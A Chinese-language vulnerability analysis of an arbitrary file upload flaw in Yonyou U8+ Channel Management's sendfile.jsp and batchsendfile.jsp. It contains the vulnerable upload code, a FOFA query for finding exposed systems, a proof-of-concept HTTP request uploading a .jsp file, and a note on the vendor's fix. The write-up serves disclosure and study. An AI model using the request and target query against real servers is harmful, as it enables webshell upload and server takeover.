漏洞简介
U8+是用友公司推出的企业管理软件套件,广泛应用于财务、供应链、人力资源等多个业务领域。在U8+渠道管理(高级版)模块中,存在一处文件上传漏洞,位于其 sendfile.jsp 和 batchsendfile.jsp 文件中。攻击者可通过构造特定的HTTP请求,将恶意脚本或可执行文件上传至服务器。该漏洞可能导致攻击者在目标服务器上执行任意代码,从而获取服务器控制权限,进一步窃取敏感数据、篡改业务数据或对内网其他系统发起攻击。
影响版本
V18, V16.5, V16.1, V16.0, V15.1, V15.0, V13
fofa语法
title="渠道管理(高级版)"
漏洞分析
直接看 sendfile.jsp 文件里有关文件处理的实现逻辑(batchsendfile.jsp处理逻辑与sendfile.jsp基本相同)
String objectname = "";
String repeatrule = "";
String refrule = "";
String filetype = "";
String flag = "";
String fieldimp = "";
String affix = "";
String fileFullName = "";
if(ServletFileUpload.isMultipartContent(request)){
ServletFileUpload upload = new ServletFileUpload(new DiskFileItemFactory());
upload.setHeaderEncoding("UTF-8");
java.util.List<FileItem> fileItems = upload.parseRequest(request);
for(FileItem fileItem : fileItems){
if(fileItem.isFormField()){
String fieldname = fileItem.getFieldName();
if("objectname".equals(fieldname)){
objectname = fileItem.getString("UTF-8");
}else if("repeatrule".equals(fieldname)){
repeatrule = fileItem.getString("UTF-8");
}else if("refrule".equals(fieldname)){
refrule = fileItem.getString("UTF-8");
}else if("filetype".equals(fieldname)){
filetype = fileItem.getString("UTF-8");
}else if("flag".equals(fieldname)){
flag = fileItem.getString("UTF-8");
}else if("fieldimp".equals(fieldname)){
fieldimp = fileItem.getString("UTF-8");
}
}else{
affix = fileItem.getName();
String path = com.gxfcsoft.framework.base.util.PathUtil.getUserFile()+"temp"+java.io.File.separator;
String fieldID = com.gxfcsoft.framework.base.util.UUID.getID();
if(affix.indexOf(".")!=-1)
fieldID +=affix.substring(affix.lastIndexOf("."));
fileFullName = path+fieldID;
java.io.File saveFilepath=new java.io.File(fileFullName);
fileItem.write(saveFilepath);
}
}
预先定义了多个字符串变量并给它们赋了空字符串 ""作为初始值,然后判断当前收到的 HTTP 请求(request 对象,通常是 HttpServletRequest 类型)的内容类型(Content-Type)是否为 multipart/form-data。如果不是,if 内部的所有代码都不会执行。
isFormField() 方法用于区分当前处理的 fileItem 是一个普通表单字段(例如 <input type="text">、<input type="hidden">)还是一个文件上传字段(<input type="file">)。如果返回 true,则进入 if 块处理普通字段;如果返回 false,则进入 else 块处理文件。
重点看文件处理部分
// 9. 处理文件
}else{
// 9.1 获取原始文件名
affix = fileItem.getName();
// 9.2 构建服务器存储路径
String path = com.gxfcsoft.framework.base.util.PathUtil.getUserFile()+"temp"+java.io.File.separator;
// 9.3 生成唯一ID作为新文件名主体
String fieldID = com.gxfcsoft.framework.base.util.UUID.getID();
// 9.4 保留原始文件扩展名
if(affix.indexOf(".")!=-1)
fieldID +=affix.substring(affix.lastIndexOf("."));
// 9.5 拼接成完整的文件路径
fileFullName = path+fieldID;
// 9.6 创建文件对象
java.io.File saveFilepath=new java.io.File(fileFullName);
// 9.7 将文件内容写入磁盘
fileItem.write(saveFilepath);
}
首先通过 fileItem.getName() 获取用户上传的原始文件名,然后从该文件名中提取文件后缀,并将其与一个新生成的 UUID 拼接,构成新的文件名。最后,将文件保存到服务器上,全程没有对文件后缀和内容进行校验,因此造成任意文件上传漏洞。
漏洞复现
两个漏洞逻辑一致,仅仅是路径不一样
business/common/lxgzds/batchsendfile.jsp
POST /business/common/importdata/sendfile.jsp HTTP/1.1
Host: u8.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.jsp"
UPLOAD_TEST
------WebKitFormBoundary--
在响应里成功回显上传文件的完整路径,直接访问


成功执行我们上传代码
官方补丁修复也很直接,直接正则检测后缀是否为白名单以及是否存在目录穿越等危险字符


